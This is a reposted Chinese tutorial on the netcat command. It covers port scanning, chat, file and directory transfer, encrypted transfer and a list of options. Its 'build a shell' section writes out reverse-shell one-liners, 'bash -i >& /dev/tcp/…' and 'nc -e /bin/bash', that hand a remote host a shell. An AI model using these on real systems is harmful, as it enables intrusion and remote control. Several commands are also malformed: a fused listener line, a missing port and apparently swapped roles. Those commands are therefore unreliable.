nc命令詳解


nc命令詳解

1.端口掃描

nc -z -v -n 192.168.21.135 1-100

z參數告訴nc使用0 輸入/輸出模式,一般在掃描通信端口的時候使用

v參數顯示指令執行過程

n參數告訴nc不使用DNS反向查詢ip地址的域名

2.做為通信使用

server: nc -l 5555

client: nc 192.168.21.133 5555

l參數使用監聽模式,管控傳入的資料

 

 

3.文件傳輸

server: nc -l 5555< aa.txt

client: nc -n 192.168.21.133 >aa.txt

 

同樣也可以互換,傳輸文件

server:nc -l 5555 > aa.txt

client: nc 192.168.21.133 5555 <aa.txt

4.目錄傳輸

文件可以發送,但是目錄也同樣可以傳輸,利用管道傳輸起來。

server: tar -czvf- faith/ |nc -l 5555

client: nc -n 192.168.21.133 5555 | tar -zxvf -

 

 

5.加密傳輸

server: nc localhost 1567 | mcrypt –flush –bare -F -q -d -m ecb > file.txt

client: mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l 1567

6.建立shell

server:nc -lvp 5555 bash -i >& /dev/tcp/192.168.21.136/5555 0 >&1

client: nc -lvp 5555

 

 

還有一種:

server:nc -e /bin/bash 192.168.21.136 5555

client: nc -lvp 5555

7.nc其他參數
參  數:

-g<網關> 設置路由器躍程通信網關,最多可設置8個。

-G<指向器數目> 設置來源路由指向器,其數值為4的倍數。

-h 在線幫助。

-i<延遲秒數> 設置時間間隔,以便傳送信息及掃描通信端口。

-l 使用監聽模式,管控傳入的資料。

-n 直接使用IP地址,而不通過域名服務器。

-o<輸出文件> 指定文件名稱,把往來傳輸的數據以16進制字碼傾倒成該文件保存。

-p<通信端口> 設置本地主機使用的通信端口。

-r 亂數指定本地與遠端主機的通信端口。

-s<來源地址> 設置本地主機送出數據包的IP地址。

-u 使用UDP傳輸協議。

-v 顯示指令執行過程。

-w<超時秒數> 設置等待連線的時間。

-z 使用0輸入/輸出模式,只在掃描通信端口時使用。




免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM